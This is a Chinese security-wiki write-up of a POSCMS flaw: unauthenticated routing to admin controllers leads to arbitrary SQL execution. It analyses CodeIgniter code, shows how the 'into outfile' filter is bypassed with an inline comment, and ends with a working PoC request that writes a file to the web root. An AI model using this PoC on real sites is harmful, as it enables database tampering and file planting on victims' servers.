menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right POSCMS 任意sql语句执行漏洞 chevron_right POSCMS 任意sql语句执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    POSCMS 任意sql语句执行漏洞.md
    6.46 KB / 2021-07-15 20:02:05
        POSCMS 任意sql语句执行漏洞
    ==========================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    ### 任意API调用
    
    **分析入口文件**
    
    > index.php \-\--\>/diy/init.php
    > \-\-\-\-\--\>/diy/system/core/CodeIgniter.php
    
    程序使用的CodeIgniter(CI)框架,直接去看CI框架。
    
        $RTR =& load_class('Router', 'core', isset($routing) ? $routing : NULL);
    
    初始化Router类,调用\_set\_routing()方法绑定路由。
    
        if ( ! isset($this->directory))
                            {
                                    $_d = $this->config->item('directory_trigger');
                                    $_d = isset($_GET[$_d]) ? trim($_GET[$_d], " \t\n\r\0\x0B/") : '';
    
                                    if ($_d !== '')
                                    {
                                            $this->uri->filter_uri($_d);
                                            $this->set_directory($_d);
                                    }
                            }
    
                            $_c = trim($this->config->item('controller_trigger'));
                            if ( ! empty($_GET[$_c]))
                            {
                                    $this->uri->filter_uri($_GET[$_c]);
                                    $this->set_class($_GET[$_c]);
    
                                    $_f = trim($this->config->item('function_trigger'));
                                    if ( ! empty($_GET[$_f]))
                                    {
                                            $this->uri->filter_uri($_GET[$_f]);
                                            $this->set_method($_GET[$_f]);
                                    }
    
                                    $this->uri->rsegments = array(
                                            1 => $this->class,
                                            2 => $this->method
                                    );
                            }
                            else
                            {
                                    $this->_set_default_controller();
                            }
    
    > config
    
        $config['controller_trigger']                        = 'c';
        $config['function_trigger']                                = 'm';
        $config['directory_trigger']                        = 'd';
    
    简述这里就是
    
        $this->class = $_GET[‘c’];
        $this->method = $_GET[‘m’];
        $this->directory = $_GET[‘d’];
    
    回到CI框架,这里直接通过反射进行了调用。
    
        $e404 = FALSE;
        $class = ucfirst($RTR->class);
        $method = $RTR->method;
    
        if (empty($class) OR ! file_exists(APPPATH.'controllers/'.$RTR->directory.$class.'.php'))
        {
           $e404 = TRUE;
        }
        else
        {
           require_once(APPPATH.'controllers/'.$RTR->directory.$class.'.php');
    
           if ( ! class_exists($class, FALSE) OR $method[0] === '_' OR method_exists('CI_Controller', $method))
           {
             $e404 = TRUE;
           }
           elseif (method_exists($class, '_remap'))
           {
             $params = array($method, array_slice($URI->rsegments, 2));
             $method = '_remap';
           }
           elseif ( ! method_exists($class, $method))
           {
             $e404 = TRUE;
           }
           /**
            * DO NOT CHANGE THIS, NOTHING ELSE WORKS!
            *
            * - method_exists() returns true for non-public methods, which passes the previous elseif
            * - is_callable() returns false for PHP 4-style constructors, even if there's a __construct()
            * - method_exists($class, '__construct') won't work because CI_Controller::__construct() is inherited
            * - People will only complain if this doesn't work, even though it is documented that it shouldn't.
            *
            * ReflectionMethod::isConstructor() is the ONLY reliable check,
            * knowing which method will be executed as a constructor.
            */
           elseif ( ! is_callable(array($class, $method)) && strcasecmp($class, $method) === 0)
           {
             $reflection = new ReflectionMethod($class, $method);
             if ( ! $reflection->isPublic() OR $reflection->isConstructor())
             {
              $e404 = TRUE;
             }
           }
        }
    
    > APPPATH.'controllers/ = /diy/dayrui/controllers/
    
    然后我们就可以调用这里的Controller,关键点是在这里有个admin文件夹,里面包含了管理员可调用的功能点,而且他继承的基类(SuperClass)并没有检测用户权限。就导致任意调用这里的功能点。
    
    ### SQL语句执行(增删改查)
    
    既然可以调用管理员才能调用的功能点,问题就太多了,这里就随便讲一个喽。
    
    文件:/diy/dayrui/controllers/admin/Db.php 方法:sql
    
         public function sql() {
            $sql = '';
            $count = $id = 0;
    
            if (IS_POST) {
                $id = $this->input->post('id');
                $sql = str_replace('{dbprefix}', $this->db->dbprefix, $this->input->post('sql'));
                if (preg_match('/select(.*)into outfile(.*)/i', $sql)) {
                    $this->admin_msg(fc_lang('存在非法select'));
                }
                $sql_data = explode(';SQL_FINECMS_EOL', trim(str_replace(array(PHP_EOL, chr(13), chr(10)), 'SQL_FINECMS_EOL', $sql)));
                if ($sql_data) {
                    $db = $this->db;
                    foreach($sql_data as $query){
                        if (!$query) {
                            continue;
                        }
                        $queries = explode('SQL_FINECMS_EOL', trim($query));
                        $ret = '';
                        foreach($queries as $query) {
                            $ret.= $query[0] == '#' || $query[0].$query[1] == '--' ? '' : $query;
                        }
                        if (!$ret) {
                            continue;
                        }
                        $db->query($ret);
                        $count++;
                    }
                    if ($count == 1 && stripos($ret, 'select') === 0) {
                        $this->template->assign(array(
                            'result' => $db->query($ret)->result_array(),
                        ));
                    }
                }
            }
    
            $this->template->assign(array(
                'menu' => $this->get_menu_v3(array(
                    fc_lang('执行SQL') => array('admin/db/sql', 'database')
                )),
                'id' => $id,
                'sql' => $sql,
                'mcount' => $count,
            ));
            $this->template->display('db_sql.html');
        }
    
    这里使用正则表达式匹配危险字符into
    outfile,绕过就太简单了。into/\*\*/outfile。
    
    ### poc
    
    `https://www.0-sec.org/index.php?c=db&d=admin&m=sql Post sql=select 1 into/**/outfile 'C:\phpstudy_pro\WWW\www.0-sec.org\poscms\11111.txt'`
    
    
    links
    file_download